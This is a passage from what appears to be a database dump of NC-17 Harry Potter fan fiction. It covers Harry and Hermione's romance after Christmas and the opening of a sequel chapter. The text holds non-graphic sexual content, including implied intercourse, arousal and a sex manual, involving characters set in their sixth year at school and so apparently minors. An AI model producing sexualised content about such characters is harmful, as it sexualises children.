leave,&quot; Harry said and Hermione really twisted up her face now.<br>\n\n<br> &quot;I know you don\'t know a lot about women, Harry, having grown up like you did and all, but that\'s not the best thing to say to a girl who just got out of your bed,&quot; Hermione said and Harry smiled and shook his head.<br>\n\n<br> &quot;I meant for Ron\'s present,&quot; he said and now she smiled, too.<br>\n\n<br> &quot;I\'m sure I\'ll see you again before I leave,&quot; she said, walking towards the door. &quot;And you\'ll have to send Hedwig to pick it up. Whatever it is. Say around the 23rd or so? That should be plenty of time.&quot;<br>\n\n<br> &quot;Okay,&quot; he said. He wasn\'t ready to see her go just yet, not out of his room or home for Christmas holiday.<br>\n\n<br> &quot;Does this mean you didn\'t get me a Christmas gift, Harry?&quot; Hermione asked, turning around to look at him from the door.<br>\n\n<br> &quot;Er . . . I, uh, I . . .&quot;<br>\n\n<br> &quot;Don\'t worry about it,&quot; she said with a smile. &quot;You just gave me my Christmas present.&quot;<br>\n\n<br> And with that, she was gone.<br>\n\n<br> **************<br>\n\n<br> On the day that the train was leaving with Hermione on it, Harry didn\'t feel like leaving his room. He didn\'t want to see her off and he didn\'t want to see how happy she would look to be going home.<br>\n\n<br> Maybe if he just stayed right here in his bed for the entire holiday, he wouldn\'t have to think about it. The problem was, his bed now made him think of Hermione in such a way that it actually hurt. He would love to have her back here, under him or over him or anywhere. He swore that her scent was still clinging to his sheets but he knew that was his imagination. And a tiny part of him wished that she had made him forget it all with a flick and a swish of her wand. Then he wouldn\'t be suffering right now.<br>\n\n<br> When he realized that staying in bed wasn\'t an option, he got up and dressed, going down to the common room. Ron was there, staring at his chessboard.<br>\n\n<br> &quot;Hey, Harry,&quot; he said, motioning for Harry to sit down to play chess and he did. At least it would take his mind off of other things. &quot;You missed seeing Hermione off. She waited around for you and I told her to just go on up to the room but she didn\'t seem to want to go in there. She told me to give this to you.&quot;<br>\n\n<br> Ron handed him a sealed envelope and Harry\'s fingers couldn\'t open it fast enough. Ron gave Harry an odd look as he flung the envelope aside, his eyes racing over the words hoping for . . . he didn\'t know what he was hoping for. Something. Anything.<br>\n\n<br> It wasn\'t anything. It was actually more like nothing. She let him know that she got the money he left for Ron\'s present even though she had no clue what to get him. She reminded him to send Hedwig to her on the 23rd and that she was sorry that she missed him today but hoped he had a pleasant holiday and a happy Christmas.<br>\n\n<br> That was it. Harry folded it back up and shoved it into his pocket and plastered on a fake smile when he noticed Ron staring at him.<br>\n\n<br> &quot;Ready to play now?&quot; Ron asked and Harry nodded, forcing himself to focus completely on the chessboard.<br>\n\n<br> For the first in a long time, Harry managed to beat the pants off of Ron in wizard\'s chess.<br>\n\n<br> *************<br>\n\n<br> Harry went to the top of the West Tower, to the owlery, to wait for Hedwig\'s return. The large room was colder than usual and he searched long and hard for a spot clean enough to sit down upon. He threw some fresh straw on the cleanest spot he could find and sat down to wait.<br>\n\n<br> He had sent Hedwig out the day before and she should be back at anytime now. He could have waited in his dormitory room for her or just let the present end up in their room the way it always had before, but he was tired of playing chess with Ron or listening to Ginny. He was also growing weary of trying to look like nothing was bothering him. He couldn\'t pinpoint what was bothering him the most but he was pretty certain it was the fact that he was here at school all alone except for Ron and Hermione was out there with . . . him. Someone else. He didn\'t even want to think about him and what he would be doing with her.<br>\n\n<br> He was willing to admit that it hurt just a little that she could go to bed with him and then just run off to someone else. It hurt that he was just a trial run for her and that she never even stopped to consider that he could be more.<br>\n\n<br> Harry stared up at the few owls that were still here. Most were out delivering Christmas presents or picking them up so they would be here in time. Even Ron\'s little owl, Pig, was out doing something.<br>\n\n<br> All he sent to Hermione was a letter. He should have had a present to send to her. That was so stupid of him. He was certain that her \'boyfriend\' would be giving her a present. Harry shook his head, not wanting to think about what that might be. At the least he would make her one of his silly drawings.<br>\n\n<br> The only thing he wanted to think about less was what she would look like when she came back. Would she be blissfully happy? Would she carry on endlessly about it to Ginny in hushed tones and girlish giggles? Why wasn\'t there anyone out there who talked about him like that?<br>\n\n<br> Harry\'s entire body had grown cold and stiff when Hedwig finally returned, swooping through one of the windows and floating down to him. She gently dropped a parcel at his side and fluttered to a stop on a nearby low perch. Harry jumped up and went to her immediately, stroking his pet and thanking her for doing such a good job. He took the letter that was on her leg and she showed her great devotion for Harry by nipping at him a few times. He expected her to fly off to one of the higher perches to get some sleep but as if she sensed that he might need her, she stayed by his side, watching him with wide amber eyes as he opened his letter from Hermione.<br>\n\n<br>\n\n<i>Dear Harry,<br>\n\n<br> Hope all is well with you and Ron. Holiday has been okay so far. Hope Ron enjoys his present and have a Happy Christmas.<br>\n\n<br> Hermione</i><br>\n\n<br> That was all it said. He felt his heart sink in his chest as he sat back down on the pile of clean straw. Hedwig flew down to him and stuck out her leg, wanting to know if he was going to send a letter in return.<br>\n\n<br> &quot;No, that\'s all right, Hedwig. Thank you. You can go get some rest and I\'ll see you tomorrow for Christmas,&quot; he said, petting his owl one more time before she flapped off to the top of the roost.<br>\n\n<br> He stared at the letter some more, trying to figure it out. Harry finally decided that the problem was there was nothing to figure out. She was happy where she was and knew better than to tell him. She was smart enough to know he didn\'t want to hear about what went on with her boyfriend while Harry was spending his holidays alone again at Hogwarts. He longed for the days when spending the holiday with only Ron seemed like the best thing in the world but now he was older and he wanted more. What he really wanted was Hermione.<br>\n\n<br> Too bad she didn\'t want him in return.<br>\n\n<br> To top it off, once she did come back for the next term, he knew nothing was ever going to be the same between them. How could it? He got a taste of something that he wanted more of but she didn\'t. That would be hanging over them for the rest of their time here.<br>\n\n<br> He stood up, tucked his letter into the pocket of his jeans and brushed the straw off of him. Looking up to make sure that Hedwig was happily resting, he left the owlery behind.<br>\n\n<br> *************<br>\n\n<br> &quot;Happy Christmas, Harry!&quot; Ron called out gleefully as Harry woke up.<br>\n\n<br> &quot;Happy Christmas, Ron,&quot; Harry said, reaching for his glasses. He didn\'t sound quite as cheerful as his friend. He swore to himself that he was going to try his hardest to put all thoughts of what happened with Hermione behind him at least for the day but that wasn\'t as simple to do as that.<br>\n\n<br> &quot;Come on! Open your presents. Wow! Charlie even sent you something this year,&quot; Ron said and Harry sat up in his bed, looking at his pile of presents. Most of them were from the Weasley family and there was one envelope from his aunt and uncle. He didn\'t need to deal with their nonsense this year and he tossed it aside without looking at it.<br>\n\n<br> Harry went through his few presents quickly, pulling on the sweater Mrs. Weasley made for him as she did every year. His favorite present was the book on dragons that Charlie sent from Romania. He was sure that if Hermione had sent him something, that would have been his favorite but there was nothing here from her.<br>\n\n<br> Ron finally got down to unwrapping whatever it was the Hermione sent from London. His face lit up when he saw it was an assortment of all the latest Quidditch books, most of them about the Chudley Cannons. After a few minutes of examining the books, he looked up at Harry.<br>\n\n<br> &quot;You were worried about sneaking this into the room?&quot; he asked curiously.<br>\n\n<br> &quot;Not exactly. Someday I\'ll have to tell you the story, just not now. It had to do with something Hermione was going to surprise her boyfriend with,&quot; Harry said, forcing himself to talk about at least that much.<br>\n\n<br> &quot;Wonder how that went considering he\'s no longer her boyfriend,&quot; Ron said casually as he continued to look at his books.<br>\n\n<br> &quot;What?&quot; Harry asked, stunned by this news.<br>\n\n<br> &quot;Ginny sent Pig off to Hermione with a little present. Hermione returned Pig with a note telling Ginny all about it. Ginny just got it yesterday. I\'m surprised she didn\'t write to you, too, considering how close you two have been lately,&quot; Ron said, thankfully not putting two and two together.<br>\n\n<br> &quot;What happened?&quot; Harry asked, his voice squeaking a little bit with a happiness he\'d never be able to explain to Ron.<br>\n\n<br> &quot;I\'m not certain, really. Ginny told me it was none of my business but I\'m sure it had something to do with how difficult it is to hide what she is. Could you imagine Hermione acting dumb about magic just to attract some Muggle boy? Foolish idea,&quot; Ron said and Harry shook his head in agreement.<br>\n\n<br> &quot;When did it happen?&quot;<br>\n\n<br> &quot;If you ask me, it started to fall apart before she ever left for the holiday. Couldn\'t you tell something was wrong?&quot; Ron asked. Harry shook his head again.<br>\n\n<br> &quot;Er -- no. Not really.&quot;<br>\n\n<br> &quot;The rest of us thought she was acting peculiar. Or more peculiar than Hermione usually acts. Figured it had something to do with her boyfriend,&quot; Ron said.<br>\n\n<br> &quot;I\'ll have to ask her when she returns,&quot; Harry muttered, fingers running through his messy hair. He wasn\'t sure if it was good news or bad news just yet but he was hoping for the former.<br>\n\n<br> &quot;Yes, and find out when she\'ll be ready to date again, will you? I think my time has finally come,&quot; Ron said and Harry had no idea what to say to his best friend about that.<br>\n\n<br> *************<br>\n\n<br> Hermione had been back for a few days and had yet to speak a word to Harry outside of their classrooms and a few exchanges in the great room. Actually, it appeared that she was avoiding everyone. He woke up the first Saturday of the term to discover the world was once again blanketed in white. Staring out one of the windows, he saw a small cloaked figure moving through the snow and he dressed quickly to follow her to the lake.<br>\n\n<br> Harry\'s lungs were nearly bursting from breathing in the frigid air by the time he reached her. She was bundled up better than he was and didn\'t look all that uncomfortable. He didn\'t even take the time to put on his warmest socks.<br>\n\n<br> &quot;Hermione, are you ever going to speak to me again?&quot; he asked and she shrugged. &quot;Did I do something wrong?&quot;<br>\n\n<br> &quot;It\'s Drew,&quot; she said and Harry came closer.<br>\n\n<br> &quot;Did he hurt you? Did something happen? If he hurt you, Hermione, I\'ll . . .&quot;<br>\n\n<br> &quot;We broke up. Not that there was really anything to break up in the first place, but we did.&quot;<br>\n\n<br> He tried not to smile or let on that he was happy about this in anyway but it was hard to do. He also knew that he couldn\'t let on right away that he already knew about any of this.<br>\n\n<br> &quot;Oh?&quot; he asked, his voice rising just a little too high to be upset. He sat down next to her at the side of the lake and stared out over the cold black water.<br>\n\n<br> &quot;It was too complicated. He wanted to know why he couldn\'t ring me up on the telephone or why he couldn\'t come visit me on weekends. He couldn\'t understand why he couldn\'t just send me mail without having to bring it to my parents,&quot; she said, not looking that upset over the whole thing. Instead, she looked . . . disappointed.<br>\n\n<br> &quot;I\'m sorry,&quot; Harry managed to say but he wasn\'t certain exactly how sorry he really was.<br>\n\n<br> &quot;And I couldn\'t tell him about what I am. I felt like I was lying all the time but what if I did tell him and it didn\'t go well? The Ministry would have to step in and do a memory charm and that would just be one big mess. I guess I didn\'t think this all out very thoroughly, did I?&quot; Hermione asked and Harry knew that had to hurt to admit. Hermione liked nothing more than thinking and making things work the way they should.<br>\n\n<br> &quot;Some parts of your plan were great,&quot; he said and she blushed.<br>\n\n<br> &quot;I think maybe . . . I don\'t know. I think that maybe I liked the idea of him more than I actually liked him. It was nice to think that somewhere in my life, there was someone waiting for me,&quot; she said with a resigned sigh.<br>\n\n<br> &quot;I was waiting for you,&quot; he said so softly he wasn\'t sure she heard him. A little smile tugging at the corner of her mouth let him know she had.<br>\n\n<br> &quot;Or maybe I discovered I really liked the idea of you. I didn\'t, you know, with him,&quot; she said and it felt like she had lifted a huge weight from his chest with just those few words.<br>\n\n<br> &quot;Why not?&quot; Harry asked and at first she just shrugged, not answering right away. &quot;That\'s okay. If you don\'t want to talk about it, I understand.&quot;<br>\n\n<br> &quot;I didn\'t because things changed with you, Harry. This turned into something I could never imagine and after we . . . after that day, I couldn\'t. More than that, I didn\'t want to. Even if it hadn\'t ended like it did, I didn\'t want to with him anymore. I didn\'t want to with anyone but you,&quot; she said and he felt his heart pounding away.<br>\n\n<br> &quot;You don\'t know how happy that makes me,&quot; he said and she nodded. &quot;I tried to write that in a letter but I felt I was being unfair.&quot;<br>\n\n<br> &quot;I was the one being unfair. I should have never asked that of you, Harry. I just thought it wouldn\'t make any difference in our relationship. I thought we could just keep going on as friends but I was wrong,&quot; she said.<br>\n\n<br> &quot;So, what are we?&quot; he asked.<br>\n\n<br> &quot;A little more than friends,&quot; she said with a smile. &quot;If that\'s all right with you.&quot;<br>\n\n<br> &quot;Of course it\'s all right with me! Why wouldn\'t it be?&quot; he asked her and she took a moment to gather her thoughts.<br>\n\n<br> &quot;I never imagined that you could feel that way about me,&quot; she said and he gave her an inquisitive look.<br>\n\n<br> &quot;Why not?&quot;<br>\n\n<br> &quot;Because you\'re him. You\'re Harry Potter,&quot; she said as if that were explanation enough. It wasn\'t what he wanted to hear from her at all. He stood up quickly and started to walk away from her. Before he could get far, she grabbed him by the shoulder and turned him towards her.<br>\n\n<br> &quot;I\'m not Harry Potter. I mean, I am, but there are times I\'m not. I thought when I was with you, I wasn\'t. I\'m just me. I\'m not *him* all the time,&quot; he said, knowing it was all very confusing but if anyone would understand, it would be Hermione. She didn\'t grow up hearing about the great Harry Potter and the Boy Who Lived. She read about him in a book and it never seemed to matter before now what he was.<br>\n\n<br> &quot;I know that,&quot; she said, taking his hands in hers. &quot;I was confused for a while, but I know who you are better than most people. I probably know you better than anyone else on earth.&quot;<br>\n\n<br> &quot;You do,&quot; he agreed and she pulled him back to where they were sitting, this time holding on to his gloved hands with hers.<br>\n\n<br> &quot;I was worried that others would think I wasn\'t good enough for you. \'Harry Potter with that Muggle-born girl,\' they would all say. \'He could do so much better than that. He is Harry Potter after all.\' I couldn\'t get that out of my mind,&quot; Hermione said.<br>\n\n<br> &quot;You know I would never feel that way. I know that everyone has certain expectations of me but they can\'t tell me what to do or be when it comes to you. They just can\'t,&quot; he said and she smiled. &quot;I can choose my friends or my girlfriends without who I supposedly am getting in the way. Isn\'t that how I met you in the first place?&quot;<br>\n\n<br> &quot;Something like that. You had no clue who you were then. I like you much better now,&quot; she said as he wrapped his arms around her shivering frame.<br>\n\n<br> &quot;But you do know who I am, too. And you know the consequences that come with being my friend. You know that too well,&quot; Harry said, smoothing down Hermione\'s fly away hair. &quot;When they find out about this, they might come after you with a vengeance. It will be like that for the rest of our lifetime.&quot;<br>\n\n<br> She stiffened in his arms. Maybe she had never thought of them spending their lifetime together or maybe she never considered that they might possibly come after her for this. He didn\'t know for sure. All he knew was that whatever it was that concerned her quickly passed and once again she was resting comfortably in his arms. Everything around him was bitterly cold except for her.<br>\n\n<br> &quot;You do realize we\'ll have to tell Ron,&quot; Hermione said with a heavy sigh. &quot;And Ginny. And everyone. And what are we going to do this summer? Will I be able to see you? Once my parents know you\'re more than just a friend, I don\'t know if they would let you come and stay with us. Maybe I can lie and you can come to France with us. Would you like to see France? I don\'t think I could bear the thought of you spending the summer with those miserable people if I were in France.&quot;<br>\n\n<br> He chuckled at her ramblings and pulled her even closer. &quot;Hermione, can I ask you something?&quot;<br>\n\n<br> &quot;Anything,&quot; she said.<br>\n\n<br> &quot;Did you know about this before you left? Before you and I . . .&quot;<br>\n\n<br> She looked down at the ground and he had his answer. She did and that made his heart swell. She knew that it was pretty much over with Drew but still didn\'t call off her plans.<br>\n\n<br> &quot;You\'ll have to make more plans, you know. I\'m quite certain the school isn\'t going to give us our own room together no matter who I might be,&quot; he said and she pulled away from him, planning already.<br>\n\n<br> &quot;You and I both know most of the secret rooms and hidden entrances in the school. And this place has half a million broom closets that we could visit. And don\'t forget about your invisibility cloak. We could be doing it right in front of everybody and if we\'re quiet, they\'d never know. Or the Room of Requirement. Can you imagine how much fun that could be,&quot; she said, turning to him. Her eyes were glowing with the same happiness she had when the term first began and she would discuss Drew. Actually, in Harry\'s opinion, she appeared even happier.<br>\n\n<br> &quot;Hermione?&quot;<br>\n\n<br> &quot;Yes?&quot;<br>\n\n<br> &quot;I know the first time wasn\'t all that great and all. It\'s just that I never really had the chance to learn what to do and I\'m sorry,&quot; he said, sounding genuinely apologetic for how it had gone.<br>\n\n<br> &quot;I think I have something that might help,&quot; Hermione said, her cheeks turning scarlet again.<br>\n\n<br> &quot;You do?&quot; he asked and she fumbled around inside her cloak before pulling out a small book. Leave it to Hermione to think whatever he needed could be found in a book.<br>\n\n<br> Harry looked at the cover and his eyes grew wide. &quot;Where did you find this? And who let you buy it?&quot; he asked, watching as the small figures moved over one another, a tangle of arms and legs.<br>\n\n<br> &quot;Don\'t get too excited. That\'s the only picture and they weren\'t doing *that* when I bought it. That\'s how I got away with it,&quot; Hermione said. Harry flipped the book open to find that she wasn\'t lying. The rest was all text but the words it contained held his attention and sent a shock of arousal through his body. That arousal was stirred up even more when he closed the book and examined what the people on the front were doing now.<br>\n\n<br> &quot;That\'s quite a picture,&quot; he said, turning the book sideways to examine it further. &quot;We\'re definitely going to have to try that soon.&quot;<br>\n\n<br> &quot;How soon?&quot; Hermione asked with a playful flash in her eyes.<br>\n\n<br> He stood up and put the book away in his cloak before offering her a hand. She took it and fell into his arms, laughing. &quot;Remember that empty classroom no one ever uses?&quot; he asked and she nodded. &quot;How would now fit into your plans?&quot;<br>\n\n<br> &quot;Now would fit perfectly,&quot; she said right before they raced each other through the snow back to the castle.<br>\n\n<br> **********<br>\n\n<br> To Be Continued . . .<br>\n\n</p>\n\n '),
	(18, 2, ' <p>Harry Potter and the Infernal Plan Part II<br> by Jori<br>\n\n<br> REVISED July 2003<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17<br>\n\n<br> Spoilers for all five books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br>\n\n<br> For the first time in ages, Harry Potter was going to be late to a Quidditch match. Or maybe it was the first time ever. He couldn\'t remember ever being late before to something as important as Quidditch. He was on his way out of the castle when Hermione caught up to him in the common room and said she\'d walk out with him but she had to find something in her dormitory first. He nearly told her no but she gave him this look -- one that made him glad that he already had his Quidditch robes on -- and at that point he would have followed her anywhere. Now he was beginning to regret being so easily enticed by the thought of spending a few minutes alone with his girlfriend, who was the first witch in ages who managed to get her boyfriend up to her room without the stairs turning into a slide. He was never so pleased (and a little disturbed) with her cleverness as when she showed him that she figured out how to charm the stairs into believing that he was also a girl. <br>\n\n<br> &quot;Hermione, I need to go. I should have been out there already . . . I\'m team captain and it won\'t look good if I\'m the last one there,&quot; Harry pleaded, watching as Hermione flitted quickly around her dormitory room looking for something. She really was looking for something. He had been hoping it was a ploy to get him up here for a couple of quick good luck kisses before he had to run off to the match but he was wrong. <br>\n\n<br> &quot;I promise that you won\'t be late,&quot; she said, stopping to dig through her trunk one more time. &quot;Besides, can they even start the match without you?&quot;<br>\n\n<br> &quot;I don\'t want to find out,&quot; Harry said, turning away from her as she began to throw personal items from her trunk out upon the bed. He nervously shifted his Firebolt from one hand to the other and looked at his watch once more. <br>\n\n<br> If he wasn\'t going to be late, he certainly was going to be cutting it close. Sure, there was a whole hour before the match actually began but ever since he was made captain, he liked to be there early enough to go through strategy with his team members. <br>\n\n<br> &quot;This might be it . . . damn. No, it\'s not,&quot; Hermione said, giving her trunk a kick. The lid slammed shut and Harry turned to her.<br>\n\n<br> &quot;What could be so important?&quot; he asked. <br>\n\n<br> &quot;You\'ll see,&quot; she sort of mumbled and Harry decided to look at the items Hermione had on her bedside table. He was hardly ever in her room and she hadn\'t been back in his room since . . . before Christmas. The thought of the last time she was in his room brought a warm flush to his cheeks and he turned a little so she wouldn\'t notice. In doing so, he spotted some drawings he had never seen before and he picked one up. It was then that he realized why he had never seen them before -- it was signed by Drew in a big, fancy scrawl. While she was still distracted, Harry picked up another one and looked it over. <br>\n\n<br> This one had the same girlish (in Harry\'s opinion) signature on it but instead of it being a still life, the subject was Hermione. She was in some room he had never seen before reading a book and he hated to admit it, but the sketch was incredible. A tiny pang of jealousy stirred around inside of him and he had to remind himself that Hermione chose him, not Drew. <br>\n\n<br> &quot;I found it!&quot; Hermione exclaimed, turning to find Harry with the artwork in his hands. He gave her a quizzical look and she shrugged her shoulders. &quot;Oh. Those.&quot;<br>\n\n<br> &quot;They are rather good,&quot; Harry said, putting them back where he found them. <br>\n\n<br> &quot;Are you jealous of him?&quot; she asked, coming to his side. <br>\n\n<br> &quot;I don\'t know,&quot; he answered honestly. <br>\n\n<br> &quot;I wouldn\'t be if I were you. Oh blast. I\'m running out,&quot; Hermione said, setting the bottle she was searching for down on her bedside table. It was an unlabeled plain brown bottle filled with some sort of liquid. She reached for a glass and poured out a tiny bit of the bottle\'s contents, checking her measurements carefully before swallowing it. <br>\n\n<br> &quot;What . . . what is that?&quot; Harry asked as Hermione grimaced at the taste. <br>\n\n<br> &quot;That, Harry, is for later after you win the match,&quot; she said, wiping her lips with the back of her hand. <br>\n\n<br> &quot;I don\'t understand.&quot;<br>\n\n<br> &quot;I have something planned for you but I have to take this potion first so nothing . . . unplanned . . . happens. One dose along with certain charms is supposed to be effective for a month or two but I don\'t want to experiment with that theory right now. This is why you shouldn\'t be jealous of a few old drawings. It\'s you I want to be with. Just you,&quot; she said, taking his free hand and turning him towards her. Her other hand ran up the front of his scarlet Quidditch robe and her eyes danced over his face. &quot;Do you even know how good you look wearing this? It\'s a shame you\'re late . . .&quot;<br>\n\n<br> &quot;Yeah . . . late,&quot; he managed to mumble.<br>\n\n<br> She pulled his head down and met his lips with hers. Her tongue quickly swept into his mouth and he nearly dropped his Firebolt. Could they start the match without him? If it meant he could be with Hermione, it was almost worth finding out. Almost. But she did promise him that they would be together later and if that wasn\'t incentive for catching that damn Snitch fast, he didn\'t know what was. <br>\n\n<br> Hermione pulled away, her eyes twinkling. Harry closed his eyes, trying to make his body understand that it was just going to have wait for a while. <br>\n\n<br> &quot;We better go,&quot; she said and he looked at her again. <br>\n\n<br> &quot;What are the plans for later?&quot; he asked, hoping to have a little something to hold onto, but instead of answering, she smiled and turned to leave the room. <br>\n\n<br> *************<br>\n\n<br> They really needed to find better beaters for the Gryffindor house team. <br>\n\n<br> Harry had only two thoughts in his head as a Bludger knocked him from his broom and finding new beaters was the first of those thoughts. Since Fred and George left Hogwarts, he was getting hit far too often by these bloody things. They had just added another new chaser this year and she was great but as for beaters . . . they were sadly deficient in that area. <br>\n\n<br> The second thought was that if he broke anything at all, it would most certainly ruin all of Hermione\'s plans for that night. <br>\n\n<br> He could feel her eyes focused on him as his body traveled towards the ground and he was quite certain of her expression. Shock. Dismay. Disappointment. It wasn\'t the first time she had seen him take a tumble off his broom though falling to his death would certainly be a new thing for both of them. <br>\n\n<br> The ground finally caught up with him and he hit it with the normal thud one makes when they fall off a broomstick from a great height. Everything started to swirl around him and the pain from his left leg was unlike anything he had ever experienced since the last time he broke something. Yet, through the blackness that was threatening to engulf him and the intense stabbing pain that now seemed to be coming from everywhere, he could hear Hermione calling his name. Even over the screaming crowd, hers was the only voice he could hear clearly. <br>\n\n<br> Then he had a third and final thought. While he could still move, Harry held up his hand with the Golden Snitch fluttering in his grasp and the crowd started shouting louder. Gryffindor had won over Hufflepuff and instead of enjoying the victory celebration Hermione had promised, he was going to be in the hospital wing. <br>\n\n<br> &quot;Oh, balls,&quot; he muttered in exasperation before everything around him faded slowly to black. <br>\n\n<br> **********<br>\n\n<br> &quot;Come on, we\'re going to miss the celebration.&quot;<br>\n\n<br> &quot;I want to stay here.&quot; <br>\n\n<br> The words worked slowly through his head, as if someone was talking to him from under a deep pool of water. It was Ron\'s voice. And Hermione\'s. That much he was sure of even if he couldn\'t open his eyes. He focused and soon the water began to drain away and he could hear them a little more clearly, as if his ears were only under the water in a small bathtub. <br>\n\n<br> &quot;You heard what Madam Pomfrey said -- he won\'t be awake until tomorrow at the earliest. Quite a nasty fall he took and all,&quot; Ron said and in his mind, Harry could picture the fall over and over again, but from different angles as if he weren\'t the one falling from the sky. It was a rather odd sensation. <br>\n\n<br> &quot;I\'m staying.&quot;<br>\n\n<br> &quot;We can come back after everything has quieted down for the night. Madam Pomfrey said we could . . .&quot;<br>\n\n<br> &quot;I. Am. Staying,&quot; she said more insistently this time and Harry smiled. Actually, the image of him in his head falling to the ground smiled since he couldn\'t. He didn\'t blame Ron for wanting to go to the party, since he had blocked so many goals this game, but he was glad that Hermione wanted to stay with him even if he couldn\'t tell her so.<br>\n\n<br> &quot;Have it your way then. It\'s not like he hasn\'t been here before and survived without someone standing vigil at his bedside,&quot; Ron said. <br>\n\n<br> &quot;Go have fun, Ron. I\'m staying with Harry,&quot; Hermione said. Harry felt a light touch run down his arm and he struggled to reach for it. <br>\n\n<br> &quot;Someone who didn\'t know better would think you have a crush on . . .&quot;<br>\n\n<br> &quot;Oh, Ron! This is Harry we\'re talking about. Just go to the party,&quot; Hermione said and Harry heard Ron shuffle away quickly. She took Harry\'s hand in hers and gave it a squeeze. It took all his concentration, but he somehow managed to squeeze back. <br>\n\n<br> &quot;So, you are in there, are you?&quot; He squeezed again, unable to speak just yet. He was getting so very tired, though, and didn\'t know how long he\'d be able to keep himself this aware. &quot;We\'re going to have to tell him soon.&quot;<br>\n\n<br> A light squeeze this time.<br>\n\n<br> &quot;I was so worried that this time you were dead,&quot; Hermione said with a sigh. He felt the hand that wasn\'t holding his travel over his body slowly. &quot;I really had some wonderful things planned. You do realize you ruined all of my plans, don\'t you?&quot;<br>\n\n<br> Another squeeze. A stronger, longer one, trying to reassure her that, since he wasn\'t dead, whatever she had planned could be rescheduled for a night where he could actually open his eyes. <br>\n\n<br> &quot;That\'s okay. I\'m just glad you\'re alive and you didn\'t break anything too important,&quot; she said. He felt a kiss on his cheek, warm and soft, and with that, he drifted off again. <br>\n\n<br> **********<br>\n\n<br> When he could finally open his eyes, Harry had no idea exactly how long he had been in hospital. All he was aware of was that Hermione had come and gone several different times and that when Ron was with, he sounded anxious to get her out of there and then sounded quite concerned when she wouldn\'t leave. <br>\n\n<br> Harry pulled himself so he was sitting and reached for his glasses. It was late at night but it only took a few minutes until Madam Pomfrey came to check on him. <br>\n\n<br> &quot;One of these days, Mr. Potter,&quot; she said as she busied herself examining his leg. <br>\n\n<br> &quot;We won,&quot; Harry said as if that made up for whatever damage he did to his body. <br>\n\n<br> &quot;This time,&quot; Madam Pomfrey muttered. &quot;Your leg has mended and you\'re free to go. Try to remember that it\'s important to hold onto the broomstick.&quot;<br>\n\n<br> &quot;I will,&quot; he said with a grin, swinging his legs over the edge of the bed. The one was still sore but he was quite anxious to get out of here and back to the Gryffindor common room. There was a chance that Hermione was still awake, lost in her studies and he really wanted to see her. <br>\n\n<br> Once he was dressed in the jeans and shirt someone had left for him, he rushed through the corridors and up the stairs until he got to the portrait of the Fat Lady. &quot;Password?&quot; she asked sleepily and Harry was quite relieved that it hadn\'t been changed since he ended up in the hospital wing. <br>\n\n<br> Hermione was still up doing her homework at the long table, Crookshanks trying to make himself comfortable on her books. The cat lifted his head off his paws and gave Harry a sleepy meow, distracting Hermione from her studies. She looked up, giving him a wide, glowing smile that he couldn\'t help but to return. <br>\n\n<br> Ron was also up, right at her side and he also smiled but not quite like hers. His was more of a lopsided grin, as if Harry was interrupting something of vast importance. &quot;All right, Harry?&quot; Ron asked. <br>\n\n<br> &quot;All right,&quot; he answered and Hermione tidied up her books to make room for him at the table, pushing Crookshanks aside. The cat swatted at her and then sauntered off to sleep in front of the fireplace.<br>\n\n<br> &quot;You have a lot of work to catch up on in potions. I think Snape added extra work just because you were out. Oh! Professor Binns assigned an essay and mine is four scrolls long already but I can help you on that. It\'s rather a simple topic . . .&quot; Hermione said only to be interrupted by a soft \'hmpff\' from Ron. <br>\n\n<br> &quot;Simple for you maybe,&quot; Ron said, looking down at the blank scroll before him. &quot;And why won\'t you help me but you\'ll help him?&quot;<br>\n\n<br> &quot;Oh, Ron, Harry\'s been unconscious for three days and he might need a little help with his homework,&quot; Hermione said and Ron muttered something and continued to stare at the scroll as if that would put words on it. <br>\n\n<br> While Ron was distracted with his lack of an essay, Hermione smiled at Harry again and it sent a warmth fluttering all through his body before it settled somewhere just below his stomach. He shifted uncomfortably in his seat and she blushed, looking down at the large book in front of her. <br>\n\n<br> &quot;Would you two like to be alone?&quot; Ron asked in a rather curious tone that took the smile right off of Hermione\'s face. <br>\n\n<br> &quot;Why would we?&quot; Harry and Hermione asked at the same time, both of them sounding rather guilty. Ron didn\'t seem to notice. He just shrugged and yawned rather loudly.<br>\n\n<br> &quot;So you can get started on your homework,&quot; he answered, patting his hand over his mouth to stifle the next yawn. &quot;And because I\'m tired. I haven\'t been sleeping for the last three days.&quot; <br>\n\n<br> &quot;Er - okay. See you in the morning,&quot; Harry said as Ron gathered his books together. <br>\n\n<br> &quot;Yes. See you at breakfast,&quot; Hermione said and Ron retreated towards the boys\' dormitory. <br>\n\n<br> &quot;What was that about then?&quot; Harry asked. Hermione gave him a puzzled look and shook her head. &quot;Ron and you, working so closely.&quot;<br>\n\n<br> &quot;Don\'t tell me you\'re jealous of your best friend?&quot; Hermione asked, smiling now. <br>\n\n<br> &quot;I know how that best friend feels about my other best friend. And I know that he doesn\'t know that I . . . that we are . . . you know,&quot; Harry said, blushing a little. <br>\n\n<br> &quot;Twice, Harry. We\'ve \'you knowed\' only twice. Besides, it\'s not the . . . oh, you know . . .&quot;<br>\n\n<br> &quot;Shagging?&quot; Harry offered up with a quick grin. Hermione rolled her eyes at him.<br>\n\n<br> &quot;It\'s not that part of it that\'s important. We\'re now dating, Harry. How do you think he\'s going to feel about that when he finds out?&quot; Hermione asked.<br>\n\n<br> &quot;Oh, I\'m sure Ron is going to find that other part equally important,&quot; Harry said and Hermione cocked her head to the side and studied him. <br>\n\n<br> &quot;Men,&quot; she was all she said after considering it all for a moment. <br>\n\n<br> &quot;Men! This was all your idea in case you\'ve forgotten. \'I want to try it out with you, Harry. Aren\'t you curious, Harry?\'&quot; he said, doing a poor job of mocking Hermione\'s voice. She smiled again and shook her head. <br>\n\n<br> &quot;It was a wonderful idea at that,&quot; she said, pushing her books aside and standing up. She stood before Harry and put her hands out to him. &quot;If I recall, you enjoyed yourself immensely.&quot;<br>\n\n<br> Putting his hands in hers, he allowed her to pull him out of the chair. They stood there for a minute, rocking in the other\'s embrace. &quot;But did you enjoy it? The second time that is?&quot; Harry asked.<br>\n\n<br> &quot;It was better than the first time but still I think 